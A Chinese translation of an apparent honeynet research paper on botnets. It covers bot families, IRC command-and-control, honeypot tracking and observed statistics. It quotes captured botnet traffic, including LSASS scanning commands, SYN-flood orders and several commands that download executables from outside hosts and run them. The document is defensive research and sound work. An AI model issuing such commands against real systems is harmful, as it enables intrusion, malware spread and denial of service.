天天看點

悉數僵屍網絡:知己知彼 百戰不殆

大家好,又見面了,我是你們的朋友全棧君。

僵屍計算機種類知多少

  研究中發現,網絡中存在着各式各樣的僵屍計算機類型。以下我們将讨論幾種比較流行和危害面較大的僵屍類型。我們将介紹幾種惡意軟體的基本概念,然後再詳盡的描述它們的特征。此外,我們還将描述僵屍的源代碼以及它們的指令設定清單。

1.Agobot/Phatbot/Forbot/XtremBot

  這些很可能是最出名的僵屍類型。目前,防毒軟體廠商Sophos已經查明了Agobot病毒的500多種變體,目前這一數字正在穩步增加。這一僵屍病毒本身是在跨站平台上用C++語言程式設計的,并且它的源代碼是在通用性公開許可證(General Public License,簡稱GPL)準則之下的。Agobot是由Ago編寫的,他化名為Wonk,這名德國男子在2004年的時候因為計算機犯罪被警方拘捕。Agobot的最新變體是以C++語言程式設計,但是它的設計更為抽象。這一僵屍病毒以一種非常複雜的模結構出現,很容易就可以利用計算機的漏洞執行掃描或是運作指令:延伸到CCommandHandler 或CScanner層級然後增加這一特征。Agobot利用libpcap(一種資訊包嗅探庫)和PCRE(Perl相容正規表達式庫,是個開放源代碼的軟體,可提供正規表達式支援)來嗅探和分析流量。Agobot可以利用NTFS(NT File System, Windows NT以上版本支援的一種檔案系統)交替資料流(ADS),還可以提供像檔案一樣的Rootkit和程序來隐藏自己,這樣受到威脅的計算機就難以發現了。除此之外,要反設計類似的惡意軟體是很困難的,因為它包含有偵查調試器(譬如,SoftICE 和 OllyDbg,)和虛拟技術計算機的功能(譬如虛拟軟體和虛拟PC)。Agobot是目前已知的唯一利用控制協定的病毒,其它病毒利用的一般是IRC(線上聊天系統)。利用線上聊天系統(IRC)的網絡是有可能的。但是,Linux版本的作業系統可以偵查到受威脅的計算機的分布然後對腳本進行修正。

2.SDBot/RBot/UrBot/UrXBot/…

  這種類型的惡意軟體目前很是嚣張:在Sophos公司最近的十大網絡警告中,有7個就是這一家族病毒的變體。SDBot是以非常簡單的C語言寫成的,也以GPL的形式出現。它是RBot, RxBot, UrBot, UrXBot, JrBot, ..或是其它病毒産生的母體。這種僵屍病毒的源代碼設計的并不是太好。盡管如此,攻擊者卻對它情有獨鐘,目前也很是流行。它與Agobot有某些類似之處,但是它的指令設定以及執行的複雜程度都不能與Agobot同日而語。

3.以mIRC為基礎的僵屍和GT僵屍

  我們把所有的以mIRC為基礎的僵屍都當作是GT僵屍病毒,因為它們的變體實在是數不勝數,要想摸清所有的變體是很困難的。mIRC本身就是Windows作業系統上非常流行的一款線上聊天系統程式。GT是Global Threat(全球威脅)的簡稱。對于所有的以mIRC為腳本的僵屍病毒都可以這樣稱呼。這些僵屍病毒利用一套腳本程式和二進位來利用mIRC線上聊天系統程式。其中有一種叫做HideWindow的可執行二進位程式會導緻mIRC線上聊天系統程式對使用者的屏蔽。其它一些二進位程式主要是與mIRC相聯系的DLL,可能會加載新的特征,這樣mIRC腳本就會被利用。mIRC腳本的字尾名一般是“.mrc”,通常是用來控制僵屍計算機的。GT僵屍病毒一般利用的是遠端計算機的缺陷,然後将病毒上傳到受威脅的主機上(一般來說檔案大小超過1MB)。

  以上三中僵屍病毒類型在我們日常的使用中經常會出現,除此之外,還有一些少見的僵屍計算機病毒。其中一些僵屍病毒有一些很有趣的特征,是以在這裡我們有必要提及一下。

1. DSNX 僵屍病毒

  DSNX僵屍病毒以C++語言寫成且有一個友善的插件界面。攻擊者很容易就利用其重寫掃描器将其作為插件然後擴充僵屍病毒的特征。此外,代碼也以GPL的形式出現。但是這種僵屍病毒的緻命傷就是:預設版本并不與任何擴充槽相适應。但是插件可以超越這一障礙。另外,插件亦可用于DDoS攻擊,端口界面掃描,以及隐藏HTTP網頁伺服器。

2.Q8 僵屍病毒

  Q8 僵屍病毒是一種很小的僵屍病毒,它隻含有926個C代碼。此外,一個明顯的特征就是:它的對象主要是Unix/Linux作業系統,它執行所有僵屍病毒共有的特征:通過HTTP下載下傳的動态上傳,各式各樣的DDoS攻擊(譬如,SYN和UDP洪量攻擊),執行未經稽核的指令,等等。在我們檢測到的版本中還不包括擴充功能。但是可以推斷的就是現存的這一版本應該是包含擴充功能的。

3.Kaiten

  這種病毒也缺乏擴充功能,也主要針對Unix/Linux作業系統。不夠謹慎的使用者授權會讓kaiten非常容易的就劫持僵屍計算機。這一僵屍病毒本身隻包含有一個檔案,這樣,使用wget就可以輕而易舉的找到它的源代碼,然後使用一個腳本就可以在一個受威脅的環境中編輯它。Kaiten提供了一種非常簡單的遠端攻擊指令,是以通過檢查遠端漏洞來尋找網絡通路權限一般是通過IRC(線上聊天系統)來實作的。

4.Perl(一種GGl腳本)為基礎的腳本

  目前有很多的版本,它們的基礎僅僅就是使用Perl程式語言。一般來說,這些僵屍病毒很小,甚至隻含有區區幾百個代碼而已。它們隻是提供一些根本的指令(主要是DDoS攻擊),主要針對Unix作業系統。

僵屍病毒能做什麼以及它們如何工作

  在介紹了幾種僵屍病毒之後,我們接下來将詳細闡述它們能幹什麼以及如何工作。這一部分主要是講述僵屍病毒的傳播以及它們是怎麼樣有僵屍牧者所控制的。

  在經過幾次成功的試探之後,僵屍病毒會利用TFTP (一般的檔案傳輸協定),FTP(.File Transfer Protocol , 檔案傳送[輸]協定), HTTP(Hypertext Transfer Protocol, WWW服務程式所用的協定)以及CS終端(是一種基于線上聊天系統傳輸檔案的方式,與DCC類似)等協定來将自己轉嫁到受到威脅的計算機上。然後二進位機制被打開,接着嘗試連接配接寫死主要線上聊天系統伺服器。一般來說提供的是動态域名(例如,來自于www.dyndns.org的一個域名)而不是一般的寫死IP位址,是以僵屍病毒可以輕而易舉的重新部署。一些僵屍病毒甚至可以自動的移動,如果它們知道某個伺服器是本地主機或是秘密的二級網絡的時候,這會訓示一種異常的情況。使用一種奇怪的名字,譬如USA|743634 or [UrX]-98439854,僵屍病毒試着進入管理者管道,有時甚至設定密碼防止陌生人通路這個管道。以下就是在感染之後的一個典型的通訊方式:

<- :irc1.XXXXXX.XXX NOTICE AUTH :*** Looking up your hostname…   <- :irc1.XXXXXX.XXX NOTICE AUTH :*** Found your hostname   -> PASS secretserverpass   -> NICK [urX]-700159   -> USER mltfvt 0 0 :mltfvt   <- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :*** If you are having problems connecting due to ping timeouts, please type /quote pong ED322722 or /raw pong ED322722 now.   <- PING :ED322722   -> PONG :ED322722   <- :irc1.XXXXXX.XXX 001 [urX]-700159 :Welcome to the irc1.XXXXXX.XXX IRC Network [urX]-700159!mltfvt@nicetry   <- :irc1.XXXXXX.XXX 002 [urX]-700159 :Your host is irc1.XXXXXX.XXX, running version Unreal3.2-beta19   <- :irc1.XXXXXX.XXX 003 [urX]-700159 :This server was created Sun Feb 8 18:58:31 2004   <- :irc1.XXXXXX.XXX 004 [urX]-700159 irc1.XXXXXX.XXX Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN

  之後,伺服器會将其預設為客戶,然後發送RPL_ISUPPORT, RPL_MOTDSTART, RPL_MOTD, RPL_ENDOFMOTD 或是 ERR_NOMOTD. 回應是以RPL_開頭,包含有客戶的資訊,例如,RPL_ISUPPORT告訴客戶伺服器識别了哪一個特征,RPL_MOTD訓示當天資訊(Message Of The Day MOTD)。與此相對應,ERR_NOMOTD是錯誤的資訊,如果沒有出現MOTD。讓我們來看一下答複資訊。

<- :irc1.XXXXXX.XXX 005 [urX]-700159 MAP KNOCK SAFELIST HCN MAXCHANNELS=25 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server   <- :irc1.XXXXXX.XXX 005 [urX]-700159 WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=irc1.XXXXXX.XXX CASEMAPPING=ascii :are supported by this server   <- :irc1.XXXXXX.XXX 375 [urX]-700159 :- irc1.XXXXXX.XXX Message of the Day –   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- 20/12/2004 7:45   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . +   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – + .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – ___ .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . _.–“~~ __”-.   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – ,-” .-~ ~”-/ .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . .^ / ( ) .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – + {_.—._ / ~   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – / . Y .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – / /_j +   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . Y ( –l__   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – | “-. .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – | (___ . | .)~-.__/   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – l _)   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . / “l   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – + / – / ^.   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . ^. “-. -Row .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – “-._ ~-.___,   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . “–.._____.^   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . .   <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – ->Moon<-   <- :irc1.XXXXXX.XXX 376 [urX]-700159 :End of /MOTD command.   <- :[urX]-700159 MODE [urX]-700159 :+i

  通過修改RPL_ENDOFMOTD or ERR_NOMOTD, 僵屍計算機将試着加入他自己的專用通道并設定密碼:

-> JOIN #foobar channelpassword   -> MODE [urX]-700159 +x

  僵屍收到來自于管道的指令,然後将其轉化為指令:

<- :irc1.XXXXXX.XXX 332 [urX]-700159 #foobar :.advscan lsass 200 5 0 -r -s

<- :[urX]-700159!mltfvt@nicetry JOIN :#foobar

<- :irc1.XXXXXX.XXX MODE #foobar +smntuk channelpassword

絕大多數的僵屍網絡使用如下指令:

“.advscan lsass 200 5 0 -r -s”   ”.http.update http:///~mugenxu/rBot.exe c:/msy32awds.exe 1″

  第一個主題告訴我們,僵屍病毒的快速傳播是在LSASS漏洞的幫助下實作的。200條協同的線應該以無限的時間 (叁數 0) 的 5 秒的延遲掃描。掃描應該是任意的 (叁數 -r) 和沈默的 (叁數 -s),如此由于狀态報告來避免避免過多的流量。 與這相反, 可能主題的第二個例子教僵屍下載下傳來自網絡的二進位而且運作它 (叁數 1). 而且如果主題不包含任何的對僵屍計算機的訓示,然後它就會在通道中消極的等待指令。對于目前的僵屍最根本的一點就是:如果僵屍牧者部發出指令,它們就難以傳播。如果對僵屍計算機有幾次成功的破壞的話,僵屍主人就會知道,如果它們被告知這樣做的話。

-> PRIVMSG #foobar :[lsass]: Exploiting IP: 200.124.175.XXX   -> PRIVMSG #foobar :[TFTP]: File transfer started to IP: 200.124.175.XXX (C:/WINDOWS/System32/NAV.exe).

  接着IRC伺服器(也叫做IRC郵件收發背景伺服器,簡稱IRCd)将會提供管道使用者名單。但是絕大多數的僵屍牧者都會改進IRCd來發送管道操作人員來減少流量以及将僵屍病毒的數量僞藏起來。

<- :irc1.XXXXXX.XXX 353 [urX]-700159 @ #foobar :@JAH   <- :irc1.XXXXXX.XXX 366 [urX]-700159 #foobar :End of /NAMES list.   <- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :BOTMOTD File not found   <- :[urX]-700159 MODE [urX]-700159 :+x

  僵屍網絡的控制者會設定授權來掌管所有僵屍病毒。這一授權是在指令字首和”auth”指令的幫助下實作的。指令字首用來在僵屍病毒中注冊使用者,之後他就擁有了授權,例如:

.login leet0   .la plmp -s

  就是在不同的僵屍病毒上運作的指令來準許控制者。再者,最後一例中以”-s”為尾的轉換中會使僵屍病毒保持禁止,特别是當授權使用者的時候。其它的一些回應是這樣的:

[MAIN]: Password accepted.   [r[X]-Sh0[x]]: .:( Password Accettata ):.

  如果在你的網絡中有10000台僵屍的話,這就會導緻大量的異常流量。一旦攻擊者獲得授權,他們就可以控制這些僵屍做他們想做的任何事情:在受到威脅的計算機中尋找敏感資訊,對個體或是一個組織發動DdoS攻擊,或是通過鍵盤記錄器來尋找PayPal 或eBay帳号資訊,這隻是一些可能的指令罷了,在之前我們已經介紹過了。在很多情況下,IRC伺服器備用來将所有的僵屍計算機組成一個整體。這是因為通常在一個聊天系統中,攻擊者無法成為一個完全意義上的管理者,是以他有必要建立一套自己的IRC伺服器,這樣更加具有靈活性。除此之外,我們還發現了一些其它很有趣的現象:隻有初學者才使用IRCd部署僵屍網絡。如果你使用1.200台名為rbot-<6-digits>來報道管道中的掃描結果的話,那麼你所做的一些違法亂紀之事就太過于明顯了。有兩種不同的IRC伺服器軟體的執行通常為僵屍網絡所利用:虛拟IRCd和會議室(ConferenceRoom) :

虛拟IRCd (http://www.unrealircd.com/)是一個跨站平台,是以利用輕易的在Windows 和Linux作業系統上運作。IRC伺服器軟體被拆除和改進來滿足僵屍牧者的需求。一般的改進是剝離”JOIN”, “PART” 和 “QUIT”管道上的資訊,進而避免不必的流量。除此外,”LUSERS”(關于連接配接計算機數量的資訊)資訊,”RPL_ISUPPORT”被移除來隐藏身份和僵屍網絡的規模。我們最近觀察到的一種新的win32二進位隻是一種虛拟IRCd經過高度修正的版本,它被剝離和優化了一些特征。檔案名表明這種修正過的IRCd能夠為80.000台僵屍計算機服務:

  · cac8629c7139b484e4a19a53caaa6be0 UNREAL.3.2-m0dded-LyR.rar

  · 9dbaf01b5305f08bd8c22c67e4b4f729 Unreal-80k[MAX]users.rar

  · de4c1fbc4975b61ebeb0db78d1fba84f unreal-modded-80k-users-1.rar

  因為我們并不能組織有80.000台僵屍計算機的網絡,在我們的小組中也沒有80.0000台計算機,是以我們無法證明這一說法的準确性。但是可以肯定的是如此大規模的僵屍僵屍網絡是網絡犯罪分子用來發動所謂的“專業性攻擊”利器。這一種網絡的威脅相當之大,因為它占用大量的帶寬,同時盜取大量的身份。

  ConferenceRoom(會議室http://www.webmaster.com/ )是一種商業的IRCd解決方案,但是僵屍網絡可以利用有漏洞的ConferenceRoom版本來提供數以千計的同時連結的可能性,使用化名,信道注冊,信任名單,以及伺服器對伺服器連結。

  令人驚訝的是我們發現微軟的聊天伺服器已經成為僵屍網絡的主機,看起來運作相當穩定。

  因為使用僵屍網絡的人動機基本都差不多(DDoS攻擊或是其它形式的犯罪),每一個僵屍家族都有自己的一套指令來實作相同的目标。Agobot就是一個典型的例子:隻要找到注冊指令(RegisterCommand)的源頭,就可以使用一整套特征描述得到所有的指令序列。由于缺乏統一清晰的規劃,整個SDBot家族都很難分析。一般來說,同一個僵屍的指揮台是不斷變化的,這樣就使得自動分析執行指令變得不可能。

怎麼樣跟蹤僵屍網絡

  在這一部分,我将詳細介紹我們使用蜜罐(honeypot)觀測和跟蹤僵屍網絡的思路。跟蹤僵屍網絡是一個多步操作:首先需要收集關于現有僵屍網絡的資料,例如,這一步通過分析截獲的惡意軟體得到。下一步,與網絡中的一台計算機挂鈎,然後收集更多的資訊。在這一章節的第一部分中,我們這樣想介紹我們使用蜜罐收集必要資訊的技術。之後,就可以将注意力集中于觀察僵屍網絡。

在蜜罐的幫助下收集資訊

  正如前面所指出的,我們需要得到一些僵屍網絡的敏感資訊,這樣我們就可以在僵屍網絡中設下我們的間諜。以下就是所要包含的資訊:

  1IRC 伺服器和端口數的DNS/IP(域名伺服器和IP)位址

  2(可選的)IRC伺服器的密碼

  3僵屍的昵稱以及漏洞結構

  4加入的通道以及(可選的)通道密碼

  使用包含有一些Windows蜜罐和内嵌嗅探(snort_inline)的GenII蜜罐可以讓我們輕而易舉的收集類似資訊。我們部署一個典型的GenII蜜罐,裡面包含一些下表所描述的調制器

  這個Windows蜜罐是Windows 2000 或Windows XP沒有下載下傳更新檔的版本。是以這一系統漏洞頗多,一般來說,不出幾分鐘就會感染僵屍病毒。它位于一個德國英特網服務提供商的dial-in網絡中。一般說來,這一蜜罐的生命周期少于10分鐘。在10分鐘之後,蜜罐就自動的被惡意軟體破壞了。這一短暫的受威脅時間隻是區區幾秒而已:一旦我們将網絡線纜堵塞,SDBot就會通過TCP接口135威脅計算機,然後自動安裝到計算機上。

  正如在前面所提到的,僵屍病毒一旦成功的感染一個蜜罐之後,它就會嘗試連結IRC伺服器來獲得長遠的控制指令。這就是密牆活動的地方,由于資料控制設施是安裝在密牆之内的,是以是有可能控制外部流量的。我們使用snort_inline來尋求資料控制以及替代所有可疑的外部連結。如果連接配接包含有典型的IRC資訊,諸如” 332 “, ” TOPIC “, ” PRIVMSG ” 或” NOTICE “,那麼這一連接配接就是可疑的。這樣我們就可以從僵屍牧者接受有效指令的管道來控制僵屍病毒。這樣就對其它的計算機沒有任何的威脅——我們已經在我們的蜜罐内部搜集到了一個僵屍。此外它還會産生一個邊際效應,我們可以實時的從僵屍網絡的資料中剝離出敏感資訊。蜜牆的資料捕捉能力可以讓我們準确的查明僵屍網絡想要入侵的DNS/IP位址和相應的通道數。此外,我們還可以從資料捕捉中獲得關于昵稱和身份資訊的日志。還有伺服器的密碼,通道名稱,還有通道密碼的獲得也可以通過這一管道獲得。是以我們需要搜集所有必要的資訊,蜜罐才能搜集更多的惡意軟體。因為我們現在對于搜集惡意軟體已經不存在問題,我們每24小時就重建一個蜜罐來保證我們每天有幹淨的系統。德國蜜罐計劃目前正在關注另一項課題——擷取引入的惡意軟體和分析有效載荷——當然了,這一計劃将在後面介紹。

觀察和監視僵屍網絡

  現在跟蹤僵屍網絡的第二步計劃就要開始了,我們将重新連結到一個僵屍網絡中。因為我們搜集了所有必要的資料,這不是很困難。第一步,建立一個基于IRC客戶程式的平台(irssi)或是其它的IRC客戶機程式并嘗試着連結這一網絡。如果這個網絡很小(裡面包含的客戶機少于50台),有可能你的客戶機将要鑒别因為它對有效的指令并沒有作出回應。在這一情況下,僵屍牧者很可能會禁止或是對可疑的客戶機發動DDoS攻擊。為避免被發現,你可以隐藏自己。将所有自動應答控制指令關閉将有助于實作隐藏的目的:如果你的客戶機對”CTCP VERSION”資訊的回應是”irssi 0.89 running on openbsd i368″,那麼使用Client-To-Client Protocol (CTCP)指令的攻擊者就會起疑心。如果你沒有被僵屍網絡的控制者注意的話,你就可以記錄所有的指令以及觀察所有發生的一切。

  但是你使用這一方法的時候會面臨很多的問題。有些僵屍網絡使用的是完全剝離的IRCd,并不使用RFC (Request For Comments, 請求注解, Internet标準)标準,是以一般的IRC客戶機很難連接配接到這個網絡中。一個解決這個問題的可能就是找出僵屍牧者剝離的是什麼,然後使用源代碼修正來越過這一關。現行的幾乎所有IRC客戶機都缺乏完善的代碼或是其它的缺點,很可能你不會通過編寫你的IRC客戶機程式來跟蹤僵屍網絡。歡迎加入我們的全體——我們的方法叫做Drone。在你編寫你的客戶機程式的時候,有些缺陷是你需要考慮的。以下就是我們在使用IRC客戶機程式跟蹤僵屍網絡中發現的一些有用的特征:

SOCKS v4 支援

多伺服器支援:如果你不想開始為你所發現的僵屍網絡尋找軟體執行個體的話,這是一個非常有用的特征。

沒有Threading:Threaded軟體很難描述調試軟體。

開源連結和域名伺服器溶解

poll():使用non blocking I/O(輸出/輸入)來等待檔案描述器上事件的發生。我們需要一個多路複合器,select()可以承擔這一工作。

libadns:這是一個異步域名伺服器解決庫。查找主機名稱并不會妨礙你的代碼即使查找會耗費一定的時間。有必要的話,你可以不使用線程。

使用C++語言程式設計,因為OOP (Object Oriented Programming, 面向對象的程式設計)在編寫多伺服器程式方面有很多優點。

  模界面是你可以在運作時間之内,是以你可以上傳和下載下傳C++語言子產品

libcurl:這是使用URL句法傳輸檔案的指令行工具,它支援多種版本的協定。Libcurl是一個具有與操作指令行類似的解決方案。

Perl Compatible Regular Expressions (PCRE): PCRE有一整套功能使用諸如Perl 5句法和文法結構來執行正常的模式比對表達。PCRE能使客戶機程式來猜測指令意思,以及以某種本地的方式影響一些事件。

  由于過多的調試記錄界面使得擷取關于RFC不适應的問題具有了可能性,并且更快,還能在客戶機程式中修正它們。(一天記錄50台僵屍計算機可能會産生500MB的調試資訊)

  Drone可以使用SOCKS v4代理,是以當我們再次遇到僵屍牧者發現我們的時候,我們就不用擔心了。SOCKS v4代理在不同的網絡中是撥号帳号,是以我們可以随時變更位址。Drone是在一台我們掌控的獨立計算機上運作的。我們對所有向我們通過代理或是其它的人表示我們衷心的感謝。一些安全廠商公布了一些關于僵屍網絡的資料。盡管這些資訊很有用,但是它本身并不足以有效的跟蹤僵屍網絡,正如我們在Botnet Vendors中所示範的那樣。

  有時,僵屍網絡的所有者會釋出一些指令來指導僵屍計算機。下一章節将會詳細闡述最常用的指令。使用我們的方法,我們利用監控這些釋出的指令并且深入研究攻擊者的動機。為了進一步闡述我們的方法,我們試着編寫一個關于僵屍計算機的以PCRE為基礎的競争這樣我們的虛拟客戶機就可以對給定的指令做出正确的回應。但是很快我們就發現這是不現實的,我們不得不将目标最小化,因為僵屍網絡指令根本就沒有一套固定指令标準,攻擊者經常改變指令。很多情況下,指令回應語言甚至被翻譯成他們的母語。

  當你監控多個網絡的時候,首先應檢查他們之間是否是相連的,并且盡可能将它們組織起來。連接配接檢查很簡單,隻要在所有的網絡中加入一個特殊的管道,看看你能不能與多台客戶機相連。令人吃驚的是,你發現很多網絡都是相連的。人們喜歡為每一個他們檢查的僵屍版本建一個DNS域名和管道。為了對攻擊者了解更多,你可以将攻擊者的昵稱輸入到google中,你将會吃驚的發現很多資訊。最後檢查伺服器的Regional Internet Registries (RIR)登入(RIPE NCC, ARIN, APNIC, and LACNIC)來得到關于攻擊者的更多的消息。

學到的經驗教訓:

  在這一部分中,我們将會把我們在觀察僵屍網絡中的一些發現與大家分享。資料被清理,以至于我們很難從對某一個系統的特定攻擊中得出任何的結論,并且還會保護相關方面的身份和隐私。同樣這篇論文的資料也是由在德國的德國蜜網計劃搜集的,關于攻擊細節和受到威脅的系統的資訊被發送到位于德國漢堡的DFN-CERT(計算機安全響應小組)。以下将以我們最近幾個月觀察到的僵屍網絡的資料開始:

僵屍網絡的數量

  在過去的4個月中,我們大概跟蹤了100多個僵屍網絡。其中一些處于休眠或是僵死狀态(譬如主要的IRC伺服器或是幼稚的攻擊者),目前我們正在跟蹤35個活躍的僵屍網絡。

主機的數量

  在過去的幾個月中,在我們所監控的一個通道中,至少有226,585個不同的IP位址加入。能夠看到IP就意味着IRCd并沒有經過修正不向我們發送join (用子目錄名取代驅動器符)資訊。如果IRCd經過修正而不顯示通道中參與的客戶機的話,我們就不會看到IP位址。此外,一些IRCd會使通道中的客戶機的IP位址紊亂,并且這些紊亂的IP位址并沒有看起來那麼有價值。這證明僵屍網絡的威脅比我們當初預計的威脅要大的多。盡管我們非常樂觀并且估計我們已經成功的跟蹤了大部分的僵屍網絡,并且我們所有監控的IRC伺服器并沒有被修正來隐藏JOIN或是混亂網絡中的客戶機的IP位址,這就是說有超過一百萬台的主機受到威脅并且被惡意的攻擊者所控制。我們現在知道了攻擊者實際控制的僵屍數量超出了我們的預計,因為有些經過改良的IRC伺服器根本就沒有給出受控制的僵屍計算機的任何資訊。

僵屍網絡的典型規模

  一些僵屍網絡隻有百來台僵屍計算機。但是與之相對的是,我們也觀察到有些大型的僵屍網絡中的僵屍的數量超過了50,000台。這樣大規模的僵屍網絡的真實規模是難以預計的。一般來說,僵屍牧者使用精心改良的IRC伺服器,并且僵屍計算機分布在不同的IRC伺服器中。我們使用IRCd之間的連結檢查來偵查來自于同一個大型僵屍網絡的僵屍網絡之間的聯系。這樣我們就可以大約的估摸出僵屍網絡的規模。請記住,在過去已有關于超過數以千計的僵屍的網絡的報道。如果僵屍網絡包含的互相連接配接的IRC伺服器的數量超過5個,我們就可以說這個僵屍網絡的規模将難以用數字表達,因為所有的IRCd都經過了改良。邊注:我們曾經發現一台家用計算機曾經感染過16個不同的僵屍病毒,是以很難估計世界上僵屍計算機的總量。

DDoS攻擊的次元

  我們可以對目前的有僵屍網絡導緻的DDoS攻擊的次元做一個有根據的推測。我們可以觀察到由控制者釋出的指令這樣我們就可以知曉什麼時間僵屍網絡被用來發動這一攻擊。從2004年11月到2005年一月末,我們觀察到了針對99個不同目标的226個DDoS攻擊。一般來說,他們攻擊的是撥号上網網絡,但是也有一些針對大型網站的攻擊。為指出由這些攻擊導緻的威脅,我們搜集了一些DDoS攻擊的資料。

典型的DDoS攻擊和如下的例子是類似的,控制者進入通道然後釋出指令(有時甚至停止僵屍計算機數量的擴張)。在僵屍計算機做完這一工作之後,就會報道如下情形:

[###FOO###] <~nickname> .scanstop   [###FOO###] <~nickname> .ddos.syn 151.49.8.XXX 21 200   [###FOO###] <-[XP]-18330> [DDoS]: Flooding: (151.49.8.XXX:21) for 200 seconds   […]   [###FOO###] <-[2K]-33820> [DDoS]: Done with flood (2573KB/sec).   [###FOO###] <-[XP]-86840> [DDoS]: Done with flood (351KB/sec).   [###FOO###] <-[XP]-62444> [DDoS]: Done with flood (1327KB/sec).   [###FOO###] <-[2K]-38291> [DDoS]: Done with flood (714KB/sec).   […]   [###FOO###] <~nickname> .login 12345   [###FOO###] <~nickname> .ddos.syn 213.202.217.XXX 6667 200   [###FOO###] <-[XP]-18230> [DDoS]: Flooding: (213.202.217.XXX:6667) for 200 seconds.   […]   [###FOO###] <-[XP]-18320> [DDoS]: Done with flood (0KB/sec).   [###FOO###] <-[2K]-33830> [DDoS]: Done with flood (2288KB/sec).   [###FOO###] <-[XP]-86870> [DDoS]: Done with flood (351KB/sec).   [###FOO###] <-[XP]-62644> [DDoS]: Done with flood (1341KB/sec).   [###FOO###] <-[2K]-34891> [DDoS]: Done with flood (709KB/sec).   […]

  這兩種攻擊都顯示了DDoS攻擊的典型目标: 21/TCP端口上的FTP伺服器或是6667/TCP端口上的IRC伺服器.

僵屍網絡的擴充

  ”.advscan lsass 150 5 0 -r -s”和其它的指令是我們觀察到的最多的資訊。通過這個以及相似的指令,僵屍網絡擴充以及尋找有漏洞的系統。一般來說,Windows系統受到侵害,在一個典型的Windows端口(譬如基于檔案共享的CIFS),我們可以看到絕大多數的流量。我們詳細分析了這些資訊,我們将在随後的關于僵屍網絡傳播中的專欄中談及。

資訊的搜集

  有時我們可以看到來自于受威脅的計算機的資訊搜集。在諸如”.getcdkeys”指令的幫助下,僵屍牧者就能夠對僵屍計算機上的CD-keys發出一系列的請求(如Windows和遊戲)。這些CD-keys被兜售給一些心懷不軌的人,因為對于他們别有用心的目的來說,這些資訊是很有價值的。盡管如此,這一操作極少出現。

僵屍網絡的更新

  我們檢查會發現僵屍網絡在不斷的更新。這裡的更新指的是僵屍計算機受指令下載下傳軟體,然後執行。以下就是幾個類似的指令:

· .download http://spamateur.freeweb/space.com/leetage/gamma.exe c:/windows/config/gamma.exe 1   · .download http://www.spaztenbox.net/cash.exe c:/arsetup.exe 1 -s   · !down http://www.angelfire.com/linuks/kuteless/ant1.x C:/WINDOWS/system32/drivers/disdn/anti.exe 1   · ! dload http://www.angelfire.com/linuks/kuteless/ant1.x C:/firewallx.exe 1   · .http.update http://59.56.178.20/~mugenxur/rBot.exe c:/msy32awds.exe 1   · .http.update http://m1cr0s0ftw0rdguy.freesuperhost.com/jimbo.jpg %temp%/vhurdx.exe -s

  (注:由于我們清除了這些連結是以代碼不會意外的被下載下傳或是執行)

  正如你所看到的那樣,攻擊者利用不同的網絡空間提供者并且經常讓下載下傳的二進位紊亂。一旦它們被下載下傳,指令中的參數”1″就會要求僵屍執行之。通過這種方式,僵屍計算機就能随時的更新并且讓功能得到增強。我們也搜集到僵屍網絡下載下傳的惡意軟體為我們的進一步分析提供了可能性。整體來說,正如”Kaspersky Anti-Virus On-Demand Scanner for Linux”(卡巴斯基Linux反病毒實時掃描器)中所顯示的那樣,我們搜集到的329個binaries. 201是惡意軟體。

28 Backdoor.Win32.Rbot.gen   27 Backdoor.Win32.SdBot.gen   22 Trojan-Dropper.Win32.Small.nm   15 Backdoor.Win32.Brabot.d   10 Backdoor.Win32.VB.uc   8 Trojan.WinREG.LowZones.a   6 Backdoor.Win32.Iroffer.b   5 Trojan.Win32.LowZones.q   5 Trojan-Downloader.Win32.Small.qd   5 Backdoor.Win32.Agobot.gen   4 Virus.Win32.Parite.b   4 Trojan.Win32.LowZones.p   4 Trojan.BAT.Zapchast   4 Backdoor.Win32.Wootbot.gen   4 Backdoor.Win32.ServU-based   4 Backdoor.Win32.SdBot.lt   3 Trojan.Win32.LowZones.d   3 Trojan-Downloader.Win32.Agent.gd   2 Virus.BAT.Boho.a   2 VirTool.Win32.Delf.d   2 Trojan-Downloader.Win32.Small.ads   2 HackTool.Win32.Clearlog   2 Backdoor.Win32.Wootbot.u   2 Backdoor.Win32.Rbot.af   2 Backdoor.Win32.Iroffer.1307   2 Backdoor.Win32.Iroffer.1221   2 Backdoor.Win32.HacDef.084   1 Trojan.Win32.Rebooter.n   1 Trojan.Win32.LowZones.ab   1 Trojan.Win32.KillFiles.hb   1 Trojan-Spy.Win32.Quakart.r   1 Trojan-Proxy.Win32.Ranky.aw   1 Trojan-Proxy.Win32.Agent.cl   1 Trojan-Downloader.Win32.Zdown.101   1 Trojan-Downloader.Win32.IstBar.gv   1 Trojan-Downloader.Win32.IstBar.er   1 Trojan-Downloader.Win32.Agent.dn   1 Trojan-Clicker.Win32.Small.bw   1 Trojan-Clicker.Win32.Agent.bi   1 